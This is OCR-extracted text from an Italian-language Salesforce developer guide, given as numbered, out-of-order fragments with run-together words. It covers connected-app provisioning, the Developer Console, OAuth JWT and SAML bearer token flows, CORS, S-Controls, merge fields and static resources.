463. ra guidata di passare alla fase successiva Nel flusso personalizzato utilizzare il plugin Apex per trasmettere le credenziali utilizzando i parametri di input dal flusso VEDERE ANCHE Provisioning utente per applicazioni connesse Creazione di un applicazione connessa https developer salesforce com docs atlas en us apexcode meta apexcode Creazione del provisioning utente per rapporti personalizzati applicazioni connesse Gestione delle richieste di provisioning utente AUTORIZZAZIONI UTENTE Per leggere Per creare aggiornare o eliminare Per aggiornare tutti i campi tranne Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per disinstallare Personalizza applicazione Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Personalizza applicazione Personalizza applicazione E Modifica tutti i dati Scarica pacchetti AppExchange Una volta configurato il provisioning utente per un applicazione connessa possibile gestire le impostazioni e le approvazioni per eseguire annullare o aggiornare il provisioning dei singoli utenti Utilizzare la seguente procedura per gestire le singole richieste e gli account utente Scheda Richieste provisioning utente ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicaz
464. rare il flusso utilizzando il componente lt flow interview gt 1 Trovare il nome univoco del flusso Flussi lt apex page gt lt flow interview name MyUniqueFlowName gt lt apex page gt a Dalmposta immettere Flussi nella casella Ricerca veloce quindi selezionare b Fare clic sul nome del flusso che si desidera incorporare Definire una nuova pagina Visualforce oppure aprire una pagina che si desidera modificare Aggiungere il componente lt flow interview gt inun punto fraitag lt apex page gt Impostare come attributo name il nome univoco del flusso Ad esempio namespace flowuniqguename Disporre dell autorizzazione Esegui flussi oppure Avere ilcampo Utente Force c om abilitato nella pagina dei dettagli utente Lightning 84 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition YANG O NPZZAVA O N UTENTE Per creare modificare e definire le impostazioni di versione per le pagine Visualforce e Personalizza applicazione Per attivare disattivare o eliminare un flusso o modificare le propriet del flusso e Gestisci Force com Flow O Nota Se il flusso proviene da un pacchetto gestito l attributo name deve essere in questo formato Per consentire solo a determinati utenti di eseguire il flusso impostare la protezione del
465. rce VEDERE ANCHE http wiki developerforce com page Tools Utilizzo della Console sviluppatore Abilitazione della modalit sviluppo Codice Scrittura del codice Questa sezione contiene informazioni sulla scrittura del codice per ampliare la propria organizzazione e Utilizzo della Console sviluppatore e Protezione del codice e Query Editor e Uso del codice VEDERE ANCHE Debug del codice Verifica delle modifiche Distribuisci Console sviluppatore Apertura della Console sviluppatore AUTORIZZAZIONI UTENTE DAO Per utilizzare la Console sviluppatore Visualizza tutti i dati Disponibile nelle versioni Salesforce Classic e Per eseguire Apex Code anonimo Apex autore Lightning Experience Per utilizzare la ricerca nel codice ed API abilitata Disponibile nelle versioni eseguire SOQL o SOSL nella scheda della Enterprise Edition query Performance Edition Per salvare le modifiche alle classi e ai Apex autore Unlimited Edition trigger Apex Developer Edition e Database com Edition Per salvare le modifiche alle pagine e ai Personalizza applicazione componenti Visualforce Per salvare le modifiche delle risorse Personalizza applicazione Lightning Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 3 Per aprire la Console sviluppatore da Salesforce Classic o Lightning Experience bastano pochi clic La Console sviluppatore un ambiente di sviluppo integrato contenente
466. rche SOSL nel riquadro Query Editor Editor di query della Console sviluppatore Recupero dei piani di esecuzione delle query Utilizzare lo strumento Query Plan Piano di esecuzione delle query per ottimizzare e velocizzare le query eseguite su un numero elevato di record Visualizzare i piani di esecuzione delle query per le query SOQL le ricerche SOSL i rapporti e le visualizzazioni elenco Se per l organizzazione sono disponibili indici personalizzati utilizzare i piani di esecuzione delle query per decidere quando richiedere un indice personalizzato all assistenza Salesforce Griglia Query Results Risultati della query La griglia Query Results Risultati della query visualizza ogni record sotto forma di riga possibile creare aggiornare ed eliminare record senza uscire dalla Console sviluppatore Nei risultati delle ricerche SOSL con pi oggetti ogni oggetto visualizzato in una scheda separata VEDERE ANCHE Utilizzo della Console sviluppatore Esecuzione di una query SOAL o di una ricerca SOSL Eseguire query SOQL o ricerche SOSL nel riquadro Query Editor Editor di query della Console sviluppatore 1 Inserire una query SOOL o una ricerca SOSL nel riquadro Query Editor Editor di query 2 Sesi desidera eseguire una query nelle entit di tooling anzich nelle entit di dati selezionare Use Tooling API Usa API tooling 3 Fare clic su Execute Esegui Se la query genera degli errori questi vengono visualizzati in
467. re token append signedPayload System out println token toString catch Exception e e printStackTrace Uso di un token bearer JWT token bearer JWT devono essere inviati tramite il metodo POST all endpoint del token all indirizzo https login salesforce com services oauth2 token https test salesforce com services oauth2 token 0 in caso di implementazione per una comunit https acme force com customers services oauth2 token dove acme force com customers l URL della comunit Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 214 Se l invio mediante POST sono richiesti i seguenti parametri e grant type urn ietf params coauth grant type jwt bearer e assertioni lltoken bearer JWT Parametri standard addizionali e format ilformato della risposta pu essere specificato come in un flusso OAuth utilizzando il parametro token o un intestazione HTTP Accepts e scope l ambito non supportato nel flusso Il valore di questo parametro dato dalla combinazione degli ambiti delle approvazioni precedenti Di seguito riportato un esempio di richiesta di token POST services oauth2 token HTTP 1 1 Host login example com Content Type application x www form urlencoded grant _type urns3Aietfs3Aparams 3Aoauths3Agrant type 3Ajwt bearer amp assertion eyJpc3Mi0iAiM01WRz omitted for brevity ZT Il server convalida il token Dopo che la ri
468. re e relativa descrizione con informazioni in merito alle ragioni per cui il token stato considerato non valido Di seguito riportato un esempio di risposta con errore HTTP 1 1 400 Bad Request Content Type application json Cache Control no store error invalid grant Ottimizzazione di Salesforce con il codice error description Audience validation failed VEDERE ANCHE Autenticazione delle applicazioni con OAuth Flusso token di aggiornamento OAuth 2 0 Dopo che il consumatore stato autorizzato per l accesso pu utilizzare un token di aggiornamento per ottenere un nuovo token di accesso ID sessione Questo avviene solo dopo che il consumatore ha gi ricevuto un token di aggiornamento utilizzando il server Web o il flusso utente agente Il consumatore stabilisce quando un token di accesso non pi valido e quando richiederne uno nuovo I flussi bearer possono essere utilizzati solo dopo che il consumatore ha ricevuto un token di aggiornamento Di seguito sono illustrate le fasi del flusso di autenticazione token di aggiornamento Successivamente vengono forniti ulteriori dettagli sulle singole fasi 1 Il consumatore utilizza il token di aggiornamento esistente per richiedere un nuovo token di accesso 2 Dopo che la richiesta stata verificata Salesforce invia una risposta al client Il consumatore richiede un token di accesso aggiornato Un consumatore pu utilizzare un token di aggiornamento per
469. re o rifiutare l itinerario Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 143 What Follow v Pam Jones to Kevin Bailey Just Now Please approve this trip Dreamforce Trip www example com Approve Reject O Importante i link azioni sono una funzione sviluppatore Bench i modelli di link azioni vengano creati da Imposta necessario utilizzare Apex o l API REST Chatter per generare link azioni a partire dai modelli e aggiungerli agli elementi feed IN QUESTA SEZIONE Progettazione di modelli di link azioni Prima di creare un modello valutare quali valori si desidera impostare nel modello e quali impostare con le variabili di binding quando si istanziano i gruppi di link azioni dal modello Creazione di modelli di link azioni Creare modelli di link azioni in Imposta in modo da poter istanziare i gruppi di link azioni con propriet comuni dall API REST Chatter o Apex possibile inserirli nei pacchetti e distribuirli ad altre organizzazioni Salesforce Modifica dei modelli di link azioni possibile modificare tutti i campi su un modello di gruppo dei link azioni non pubblicato e sui modelli di link azioni ad esso associati Eliminazione di modelli di gruppo dei link azioni Quando si elimina un modello di gruppo dei link azioni si eliminano i modelli di link azioni associati e tutti i gruppi di link azioni istanziati a partire dai modelli gruppi dei link azio
470. referenze impostare Enable Query Plan Abilita piano di esecuzione delle query su vero e fare clic su Save Salva Per ottenere i piani di esecuzione delle query per le query SOQL o per le ricerche SOSL immettere la propria query e fare clic sul pulsante Query Plan Piano di esecuzione delle query in Query Editor Editor di query La finestra Query Plan Piano di esecuzione delle query visualizza tutte le operazioni di query e il costo di ciascuna di esse Il riquadro Notes Note visualizza tutte le note disponibili per il piano di esecuzione delle query in cima all elenco ossia il piano di esecuzione delle query attualmente in uso Per visualizzare i piani di esecuzione delle query per i rapporti o le visualizzazioni elenco completare la seguente procedura 1 Trovare l ID del proprio rapporto o visualizzazione elenco nel relativo URL Accounts salesforce cor x Q My Account List View v Edit Delete Create New View Gig 4 04 S O How Account FE alB elp elF 6 H I y4 K L M Nn o P R S T U v w x v Z Other Am i Dev User Action Account Hame Account Site Billing State Province Phon Edit Del 19 Burlington Textiles Corp of A NC 336 27 2 Immettere l ID del rapporto o della visualizzazione elenco in Query Editor Editor di query e fare clic su Query Plan Piano di esecuzione delle query 3 Ispezionare il piano di esecuzione delle query per il rapporto o la visualizzazione elenco VEDERE ANCHE Query
471. rettamente al punto del registro che interessa Per visualizzare gli ID dei record interessati fare clic sul nome dello sObject nel riquadro a sinistra e La scheda Limits Limiti visualizza i limiti generali del sistema in base al nome e alla quantit utilizzata e contiene le seguenti informazioni Colonna Descrizione Limit Limite Nome del limite Used so far Utilizzato La quantit del limite utilizzata da questo processo a questo punto dell esecuzione finora Request Total Totale Quantit di questo limite utilizzata dalla richiesta al completamento richiesta Total Available Totale Quantit totale del limite disponibile e Utilizzare la scheda Timeline Tempistica per avere una rappresentazione visiva del tempo impiegato da ciascun processo Selezionare l opzione Scale Scala che genera la visualizzazione pi utile Save Order Limits Timeline Executed units Category Millis 14 53 01 100 14 53 01 110 14 53 01 120 14 53 01 130 14 5 NESE sao sos RE E A N El WORKFLOW 0 00 0 00 DB 0 00 0 00 di MII Scale 0 01 Seconds 0 1 Seconds 1Seconds 10 Seconds Minutes La scheda Timeline Tempistica contiene le seguenti informazioni Colonna Category Categoria Millis Millisecondi Descrizione Tipo di processo Tempo impiegato dal processo in millisecondi Percentuale dell intera richiesta ricoperta dal processo Ottimizzazione di Salesforce con il c
472. rezzi da utilizzare Clonare un record Lightning 42 Campagna e Account e Lead Evento Soluzione e Account e Gruppo di annunci e Campagna e Caso e Referente e Contratto e Campagna Google e Parola chiave e Lead e Opportunit e Frase di ricerca Versione SFGA e Annuncio testuale e Caso e Lead OpportunityLineltem e Gruppo di annunci e Asset e Campagna e Membro campagna e Caso e Referente e Contratto e Evento e Campagna Google e Parola chiave e Lead e Opportunit e Prodotto e Frase di ricerca Ottimizzazione di Salesforce con il codice CloneAsChild CloseCase Converti ConvertLead Create_Opportunity Decline Elimina DeleteSeries DisableCustomerPortal Guida dell utente Componenti Apex Visualforce e Creare un caso correlato con i dettagli di un caso controllante Chiudere un caso Creare un nuovo account un nuovo referente e una nuova opportunit utilizzando le informazioni di un lead Convertire un lead in un membro campagna Creare un opportunit basata su un membro campagna Rifiutare un evento Eliminare un record Eliminare una serie di eventi o operazioni Disabilitare un utente del Portale Clienti Lightning 43 e Versione SFGA e Annuncio testuale e Oggetti personalizzati Caso Caso Lead Membro campagna Membro campagna Evento e Gruppo di annunci e Asset e Campagna e Membro campagna e Cas
473. ributi specificati nella Procedura guidata provisioning utente Selezionare Lasciami gestire il collegamento account solo se si desidera controllare lo Stato collegamento anzich consentire a Salesforce di farlo Lo Stato collegamento pu avere i seguenti valori Regole di condivisione della richiesta di provisioning utente Se sono stati aggiunti processi di approvazione alla configurazione di provisioning utente impostare le regole di condivisione in modo che gli altri possano visualizzare e approvare una richiesta di provisioning utente ad esempio un altro utente o responsabile DaImposta immettere Impostazioni di condivisione nellacasella Ricerca veloce quindi selezionare Impostazioni di condivisione VEDERE ANCHE Provisioning utente per applicazioni connesse Configurazione del provisioning utente per applicazioni connesse Creazione del provisioning utente per rapporti personalizzati applicazioni connesse Le organizzazioni che dispongono della funzione di provisioning utente per applicazioni connesse possono eseguire rapporti che mostrano gli account e le richieste di provisioning nonch altre informazioni utilizzando i tipi di rapporto personalizzati 1 Verificare di avere dimestichezza con i tipi di rapporto personalizzato e con il procedimento generale per la loro creazione e gestione 2 Creare dei tipi di rapporto personalizzato relativi a questi oggetti e configurarli a seconda delle esigenze Rendere tutti i cam
474. ricerca e sostituzione e suggerimento automatico per i tag dei componenti e i nomi degli attributi e Lapossibilit di definire nuove pagine Visualforce immettendo semplicemente un URL univoco e Messaggi di errore che includono analisi dello stack pi dettagliate di quelle che gli utenti ricevono abitualmente Per abilitare la modalit sviluppo di Visualforce 1 Dalle impostazioni personali immettere Dettagli utente avanzati nella casella Ricerca veloce quindi selezionare Dettagli utente avanzati Se non si ottiene alcun risultato immettere Informazioni personali nella casella Ricerca veloce e quindi selezionare Informazioni personali 2 Fare clic su Modifica 3 Selezionare la casella di controllo Modalit sviluppo 4 Selosidesidera selezionare la casella di controllo Mostra stato visualizzazione in modalit sviluppo perattivare la scheda Stato visualizzazione nel pi di pagina di sviluppo Questa scheda utile per monitorare le prestazioni delle pagine Visualforce 5 Fare clic su Salva ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition YANG O NPAZAVA O N UTENTE Per abilitare la modalit sviluppo e Personalizza applicazione Ottimizzazione di Salesforce con il codice Guida d
475. rifier ma nella richiesta di autorizzazione non stato fornito un valore code challenge l accesso non riesce e viene generato il codice di errore invalid grant e format formato restituito previsto Questo parametro facoltativo Il valore predefinito j son I valori sono urlencoded json xml Di seguito riportato un esempio del corpo del POST inviato out of band POST services oauth2 token HTTP 1 1 Host login salesforce com grant type authorization code amp code aPrxsmIEegM9PiQroGEWx1UiM0d95 5UUZ VEhsOFhSs8EVvbfYBBJli2W5fn3zbo 8ghojaNW 1g9 3Ds3D amp client id 3MVG91KcPoNI NVBIPJjdw1J9LLM82HnFVVX19KYluA5mu00gEWhgKpoW3svG3XHrXDiC0jKlmdgAvhCs cA9GE amp client secre redirect uri https Invece di utilizzare il parame in uno dei seguenti modi e Accept applica e Accept applica Accept applica t 1955279925675241571 amp 53A52F52Fwww mysite coms2Fcode callback jsp ro format il client pu anche specificare il formato restituito nell intestazione di un accettazione richiesta tion json tion xml tion x www form urlencoded Tenere presente quanto segue e Le intestazioni di accettazione contenenti caratteri jolly sono consentite viene accettato e restituisce JSON Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 222 e Vengono accettati anche gli elenchi di valori che vengono letti da sinistra a destra Ad esempio
476. rise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti parte dei Servizi ai fin Un icona indica c classi Apex nei pacch Un icona indica c Non possibile mod Un icona indica c precedenza sar elim pacchetto possibile aggiungere mod i dell Accordo Quadro di So he una classe Apex stata ri etti hanno delle considerazi e partner ma non sono considerati ttoscrizione di Salesforce lasciata in un pacchetto gestito Le oni speciali he un pacchetto gestito ins he una classe Apex di un pa allato contiene una classe Apex ificare o eliminare una classe in un pacchetto gestito cchetto gestito rilasciato in inata al prossimo caricamento di pacchetti possibile decidere di annullare l eliminazione della classe Apex tramite la pagina dei dettagli del ificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche deploy dell API met
477. risorsa UTENTE AZI 5 Accanto alla casella di testo File fare clic su Sfoglia per passare a una copia locale della risorsa da caricare Per creare risorse statiche Le singole risorse statiche possono avere dimensioni fino a 5 MB mentre l amp pos organizzazione Personalizza i i j applicazione pu avere complessivamente fino a 250 MB di risorse statiche 6 Impostare il Controllo cache e Privato indica che i dati della risorsa statica nella cache del server Salesforce non devono essere condivisi con altri utenti La risorsa statica memorizzata nella cache solo per la sessione utente corrente O Nota Le impostazioni della cache per le risorse statiche sono impostate su private quando vi si accede mediante un sito Force com il cui profilo utente guest presenta delle restrizioni basate sull intervallo IP o sugli orari di accesso siti con restrizioni del profilo utente guest eseguono la cache delle risorse statiche solo all interno del browser Inoltre se un sito in precedenza privo di limitazioni diventa limitato potrebbero essere necessari fino a 45 giorni prima della scadenza delle risorse statiche dalla cache di Salesforce e dalle eventuali cache intermedie Pubblico indica che i dati della risorsa statica nella cache del server Salesforce devono essere condivisi con altri utenti dell organizzazione per garantire tempi di caricamento pi rapidi Le specifiche W3C nelle definizioni dei campi Intestazione contengono altre informazioni
478. rizzo https www esempio com potrebbe richiedere una risorsa da https www salesforce com Se un browser che supporta CORS effettua una richiesta a un origine nella whitelist CORS di Salesforce Salesforce restituisce l origine nell intestazione HTTP Access Control Allow Origin insieme alle eventuali ulteriori intestazioni HTTP CORS Se l origine non inclusa nella whitelist Salesforce restituisce il codice di stato HTTP 403 1 Da Imposta digitare CORS nella casella Ricerca veloce e quindi selezionare CORS 2 Fare clic su Nuovo 3 Immettere uno schema URL di origine Lo schema URL di origine deve includere il protocollo HTTPS e un nome di dominio e pu contenere una porta Il carattere jolly supportato e deve essere davanti a un nome di dominio di secondo livello Ad esempio https esempio com aggiunge tutti i sottodomini di esempio com alla whitelist DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Developer Edition Enterprise Edition Performance Edition e Unlimited Edition ANOLON TAAA ON UTENTE Per creare leggere aggiornare ed eliminare e Modifica tutti i dati Lo schema URL di origine pu essere un indirizzo IP Tuttavia un indirizzo IP e un dominio che vengono risolti al medesimo indirizzo non rappresentano la stessa origine ed necessario aggiungerli alla whitelist CORS separatamente O Importante Occorre comunque ancora trasm
479. rle Da Imposta immettere Risorse statiche nellacasella Ricerca veloce quindi selezionare Risorse statiche per visualizzare la pagina elenco Risorse statiche che mostra le risorse definite per l organizzazione Da questa pagina possibile Fare cl Fare cl tipo M Fare cl della ri ic su Nuova risorsa statica per definire una nuova risorsa statica ic sul nome di una risorsa per visualizzare informazioni dettagliate sulla pagina inclusi ME e dimensioni ic su Modifica accanto alla risorsa per modificarne il nome o caricare una nuova versione sorsa Fare c ic su Canc per rimuovere una risorsa O Nota Il prefisso spazio dei nomi viene aggiunto a classi e trigger Apex componenti e pagine Visualforce modelli di marca cartelle S Control risorse statiche link Web e tipi di rapporto personalizzati se sono inclusi in un pacchetto gestito Tuttavia se non si dispone di auto rizzazioni per le applicazioni personalizzate il campo del prefisso spazio dei nomi non viene visualizzato per i modelli di marca le cartelle e i tipi di rapporto personalizzati VEDERE ANCHE Visualizzazione e modifica delle risorse statiche Definizione di risorsa statica Guida dell utente Componenti Apex Visualforce e Lightning 83 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Ed
480. rol in base a determinate condizioni Ad esempio possibile che si desideri utilizzare un S Control separato per modificare i lead quando sono aperti da oltre 30 giorni Utilizzando il seguente esempio creare un S Control per valutare se un lead sia aperto da oltre 30 giorni e in tal caso eseguire il proprio Custom S Control per modificare i lead In caso contrario utilizzare l azione di modifica lead standard lt script type text javascript gt determine if the lead has been open longer than 30 days if IF ISPICKVAL Lead Status Open ROUND NOW Lead CreatedDate 0 0 gt 30 more than 30 days display a custom scontrol page window location href URLFOR SControl EditLeadsOpenLongerThan30 else 30 days or less display the standard edit page window parent location href URLFOR SAction Lead Edit Lead Id retURL URLFOR Action Lead View Lead Id true lt script gt Per implementare questa procedura nell organizzazione creare l S Control che si desidera utilizzare per modificare i lead che sono aperti da oltre 30 giorni Assegnare a questo S Control il nome EditLeadsOpenLongerThan30 Quindi creare un S Control utilizzando il codice di esempio riportato sopra per stabilire se un lead sia aperto da oltre 30 giorni e in tal caso ignorare l azione di modifica sui lead utilizzando l S Control EditlLeadsOpenLongerThan30 Tenere presenti le differenze tra la prima e la sec
481. rsonalizzati e Utilizzare i nomi dei profili per fare riferimento ai profili standard nei campi di unione Profile Sein precedenza si era fatto riferimento al valore interno di un profilo utilizzare l elenco seguente per determinare il nome da utilizzare Nome profilo standard Amministratore del sistema Utente standard Sola lettura Responsabile soluzioni U R U U ten ten ten ten ten e Marketing esponsabili contratti e partner e piattaforma standard e singolo piattaforma standard e Portale Clienti Responsabile Portale Clienti Valore Profile PT1 PT2 PI PI PI PI PI PI PI PI PI F3 r4 5 r6 7 r8 r9 13 14 e valori dei campi di unione saranno vuoti se gli attributi dei profili sono vuoti Ad esempio il campo Descrizione del profilo non obbligatorio e potrebbe non contenere alcun valore Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e RecordType Descrizione Utilizzo Esempio di Visualforce Suggerimenti Request Descrizione Utilizzo Esempio di S Control Lightning 31 e Non necessario dare agli utenti le autorizzazioni o i diritti di accesso relativi alle informazioni dei loro profili per utilizzare questi campi di unione Campo di unione globale da utilizzare quando si fa riferimento al tipo di record del record corrente Aggiungere RecordType manu
482. rta i caratteri Unicode nella classe di caratteri w predeterminata p Alpha p gc Mn p gc Me p gc Mc p Digit p gc Pc Questo campo URL azione dispone di due variabili di binding https www example com Bindings ApiVersion items Bindings ItemId Questo campo Intestazioni HTTP dispone di due variabili di binding Authorization OAuth Bindings 0AuthToken Content Type Bindings ContentType Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 148 Specificare le chiavi e i relativi valori quando si istanzia il gruppo dei link azioni nell API REST Chatter POST connect action link group definitions templateId 07gD00000004C9r templateBindings key ApiVersion value 1 0 key ItemId value 8675309 key OAuthToken value 00DRR0000000N0g_ key ContentType value application json Specificare le chiavi delle variabili di binding e impostare i relativi valori in Apex Map lt String String gt bindingMap new Map lt String String gt bindingMap put ApiVersion 1 0 bindingMap put ItemId 8675309 bindingMap put OAuthToken 00DRR0000000N0g_ bindingMap put ContentType application json List lt ConnectApi ActionLinkTemplateBindingInput gt bindingInputs new List lt ConnectApi ActionLinkTemplateBindingInput gt for String key bindingMap keySet ConnectApi Ac
483. rtura di codice 302 Visualizzazione Heap Dump Inspector 261 visualizzazione Log Inspector Controllo registri 273 visualizzazioni 7 controllo accesso in applicazione connessa 179 180 182 CORS 142 creazione di un applicazione connessa 167 169 Indice analitico D Debug JavaScript 88 Debug del codice 258 Dipendenze campo 138 disinstallazione di un applicazione connessa 199 Distribuzione delle modifiche di codice 305 Domande frequenti Apex 66 chiamata 66 Classi e trigger 66 servizio Web esterno 66 E Eccezioni non rilevate 74 eliminazione di un applicazione connessa 176 Email elaborazione con Apex 107 servizi di email 107 Esecuzione del debug analisi di un processo passo per passo 266 applicazione di filtri 280 flusso di lavoro 267 informazioni di profiling 267 livelli di registro classi e trigger 294 livello di registro 280 ordine di precedenza del registro debug 279 Esecuzione del debug di Apex 5 270 esecuzione di Apex 52 Esecuzione di test 59 296 Esecuzione di un test Apex 297 300 303 Etichette personalizzate aggiunta di traduzioni 122 modifica 120 modifica di traduzioni 121 panoramica 119 visualizzazione 122 execute anonymous 7 F finestra della riga di comando 293 Formule variabili globali 20 Framework Componente Lightning panoramica 87 Funzioni URLFOR 80 G gestione di un applicazione connessa 181 Gestione eccezioni non rilevate 74 Griglia Query Results Risultati della query 11 14 Gui
484. rzione SAML un token di protezione XML generalmente emesso da un provider di identit e utilizzato da un fornitore di servizi che fa affidamento sul suo contenuto per identificare il soggetto dell asserzione a fini di protezione Il flusso di asserzioni bearer SAML OAuth 2 0 definisce in che modo un asserzione SAML pu essere utilizzata per richiedere un token di accesso OAuth quando un client desidera utilizzare un autorizzazione precedente L autenticazione dell applicazione autorizzata viene fornita da una firma digitale applicata all asserzione SAML Per una spiegazione pi dettagliata andare a questo indirizzo http tools ietf org html draft ietf oauth saml2 bearer Panoramica del flusso di asserzioni bearer SAML OAuth 2 0 Il flusso di asserzioni bearer SAML OAuth 2 0 simile al flusso di un token di aggiornamento in OAuth L asserzione SAML viene inviata mediante il metodo POST all endpoint del token OAuth che a sua volta elabora l asserzione ed emette un access_token basato su una precedente approvazione dell applicazione Tuttavia il client non deve necessariamente avere o archiviare un refresh token n richiestoun client _secret da trasmettere all endpoint del token Di seguito sono elencate le fasi generiche per l utilizzo del flusso di asserzioni bearer SAML OAuth 2 0 ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per gestire creare
485. s Preferenze Preferences x Name a Value Editor Font Size 20 Editor Theme blackboard Mal Enable Apex Auto complete 3024 day a Enable Vf View State Inspector base16 light Prevent Logs on Load lesser dark paraiso dark 3024 nightt F blackboard paraiso light the matrix ambiance D cobalt rubyblue tomorrow night eighties default midnight Save Selezionare un tema editor per visualizzarlo in anteprima La finestra di dialogo Preferences Preferenze include opzioni di configurazione aggiuntive in base alle autorizzazioni e all implementazione disponibili Ci include l abilitazione del completamento del codice a pagina 18 e l opzione affinch la scheda Logs Registri eviti il caricamento dei registri a pagina 263 Fare clic su Save Salva per aggiornare le impostazioni e chiudere la finestra Navigazione alle dichiarazioni di metodo e di variabile possibile accedere direttamente alla dichiarazione di un metodo o di una variabile anzich scorrere per cercarla 1 Passare il mouse sopra un metodo o una variabile Se il nome del metodo o della variabile sottolineato possibile accedere direttamente alla sua dichiarazione 2 Fare clic sul nome di un metodo o di una variabile sottolineato 3 Premere CTRL ALT N oppure fare clic su Go To Vai a per spostare il cursore sulla dichiarazione Se la dichiarazione si trova in un altro file il file si apre in una nuova scheda Utilizzo di Search Cerca e Re
486. salesforce Ottimizzazione di Salesforce con il codice Guida dell utente Winter 16 W salesforcedocs La versione inglese di questo documento ha la precedenza sulla versione tradotta Copyright 2000 2015 salesforce com inc Tutti i diritti riservati Salesforce un marchio registrato di salesforce com inc come lo sono altri nomi e marchi qui di seguito Tutti gli altri marchi citati nel presente documento sono di propriet dei rispettivi titolari STO VIIVA NIO Ottimizzazione di Salesforce con il codice 1 Un benvenuto agli sviluppatori di Salesforce LL 1 Strumenti di sviluppo di Salesforce LL 1 COGICC nodini en 2 Deb atei e dep n pi 258 TESh soir rea e e ia re ret 295 DISIFIDUISCI saetta a a Pinna 305 Ottimizzazione di Salesforce con il codice Un benvenuto agli sviluppatori di Salesforce La presente documentazione fornisce informazioni su come ottimizzare l organizzazione Salesforce tramite lo sviluppo di applicazioni personalizzate e l integrazione delle applicazioni esterne La documentazione organizzata per operazione perci possibile trovare rapidamente le informazioni necessarie e Scrittura del codice Scrivere il codice utilizzando il linguaggio di programmazione Apex per aggiungere logica aziendale oppure utilizzare il linguaggio di markup Visualforce per creare l interfaccia utente Inoltre sono disponibili informazioni sull integrazione dell app
487. scrizione di Salesforce Per ulteriori informazioni sulla sintassi e l utilizzo di Apex vedere il manuale Force com Apex Code Developer s Guide Guida per sviluppatore Apex e strumenti per sviluppatore Il documento Apex Code Developer s Guide il riferimento completo per il linguaggio di programmazione Apex L Apex Code Developer s Guide spiega inoltre la sintassi del linguaggio come richiamare Apex come lavorare con i limiti come scrivere i test e molto altro ancora Per scrivere il codice Apex possibile scegliere tra diversi strumenti di Salesforce e di terze parti e Force com Apex Code Developer s Guide Utilizzare i seguenti strumenti per scrivere il codice Apex e Console sviluppatore Force com e Plug in IDE Force com per Eclipse e Editor di codice dell interfaccia utente di Salesforce Eseguire una ricerca sul Web per trovare le risorse IDE di Salesforce create da sviluppatori di terze parti Ottimizzazione di Salesforce con il codice Definizione di classi Apex Le classi Apex sono memorizzate in Salesforce sotto forma di metadati O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy dell API metadati
488. se al fuso orario locale dell utente Nell esempio seguente viene calcolato il numero dei giorni trascorsi dal 1 gennaio 1900 NOW System OriginDateTime Questa variabile globale disponibile in Valori predefiniti Formule in campi personalizzati flussi processi e regole del flusso di lavoro Azioni di aggiornamento dei campi del flusso di lavoro Pagine Visualforce e S Control Tipo di campo di unione globale da utilizzare quando si fa riferimento alle informazioni sull utente corrente campi di unione utente possono fare riferimento alle informazioni sull utente quali alias titolo e ID 1 Selezionare il tipo di campo User 2 Selezionare un campo di unione come User Username La formula della regola di convalida seguente fa riferimento all ID dell utente corrente per determinare se l utente corrente titolare del record Utilizzare un esempio come questo per fare in modo che solo il titolare del record o gli utenti con profilo di amministratore possano modificare un campo personalizzato denominato Obiettivo personale AND ISCHANGED Personal Goal _c Owner lt gt User Id Profile Name lt gt Custom System Admin Per accedere facilmente al nome dell utente corrente utilizzare una formula del flusso Creare una formula del flusso Testo con questa espressione SUser FirstName amp amp SUser LastName Dopo che stata creata la formula farvi riferimento in qualsiasi p
489. ser UITheme e User UIThemeDisplayed Descrizione Questi campi di unione globali identificano l aspetto di Salesforce per un utente su una data pagina Web La differenza tra le due variabili che User UITheme restituisce l aspetto che l utente dovrebbe visualizzare mentre SUser UIThemeDisplayed restituisce l aspetto che l utente effettivamente visualizza Ad esempio un utente pu disporre delle autorizzazioni per vedere l aspetto del nuovo tema dell interfaccia utente ma se utilizza un browser che non supporta tale aspetto ad esempio le versioni precedenti di Internet Explorer User UIThemeDisplayed restituisce un valore diverso Utilizzo Utilizzare queste variabili per identificare il CSS utilizzato per rendere graficamente le pagine Web di Salesforce a un utente Entrambe le variabili restituiscono uno dei valori indicati di seguito e Themel Tema di Salesforce obsoleto Theme2 Tema di Salesforce utilizzato prima del rilascio Spring 10 e Theme3 Tema classico Aloha di Salesforce introdotto durante il rilascio Spring 10 e PortalDefault Tema del Portale Clienti di Salesforce e Webstore Tema di Salesforce AppExchange O Nota User UITheme e User UIThemeDisplayed restituiscono il valore Theme3 in Lightning Experience e Salesforce1 e questo non corretto Il comportamento di User UITheme e User UIThemeDisplayed in questo contesto pu cambiare in un rilascio futuro Ottimizzazione di Salesforce con il cod
